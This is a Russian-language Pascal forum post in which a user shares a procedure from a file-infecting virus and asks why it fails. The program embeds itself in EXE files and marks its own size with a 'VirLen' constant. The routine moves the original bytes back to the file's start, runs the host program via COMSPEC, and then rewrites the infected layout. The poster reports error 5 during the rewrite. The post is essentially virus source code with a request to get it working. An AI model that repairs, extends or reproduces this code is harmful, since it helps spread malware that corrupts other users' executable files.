![]() |
1. Заголовок или название темы должно быть информативным !
2. Все тексты фрагментов программ должны помещаться в теги [code] ... [/code] или [code=pas] ... [/code].
3. Прежде чем задавать вопрос, см. "FAQ" и используйте ПОИСК !
4. НЕ используйте форум для личного общения!
5. Самое главное - это раздел теоретический, т.е. никаких задач и программ (за исключением небольших фрагментов) - для этого есть отдельный раздел!
![]() |
Deeonis |
![]()
Сообщение
#1
|
![]() Новичок ![]() Группа: Пользователи Сообщений: 12 Репутация: ![]() ![]() ![]() |
Вот процедура:
Procedure SReal; begin l1:=filesize(f1)-VirLen-1; seek(f1,l1); getmem(p2,(virlen+1)); getmem(p1,(virlen+1)); blockread(f1,p2^,(virlen+1)); seek(f1,0); blockread(f1,p1^,(virlen+1)); seek(f1,l1); truncate(f1); seek(f1,0); blockwrite(f1,p2^,(virlen+1)); close(f1); swapvectors; exec(getenv('comspec'),'/C '+paramstr(0)+cmdparam); swapvectors; reset(f1,1); blockwrite(f1,p1^,(virlen+1)); seek(f1,l1); blockwrite(f1,p2^,(virlen+1)); freemem(p,VirLen); freemem(p1,(virlen+1)); freemem(p2,(virlen+1)); close(f1); end; Все переменные инициализированны, все нормально работает, но после того как мы запускаем файл через EXEC прога при выполнении выдает ошибку 0005, т.е. она не записывает в начало файла из p1^ и не дописывает в конец файла из p2^. Сразу скажу что эта прога встраивается в ехе файл и должна работать коректно, т.е эта процедура запускает файл в который встроилась прога... ПОМОГИТЕ |
![]() ![]() |
![]() |
Текстовая версия | 19.06.2025 2:53 |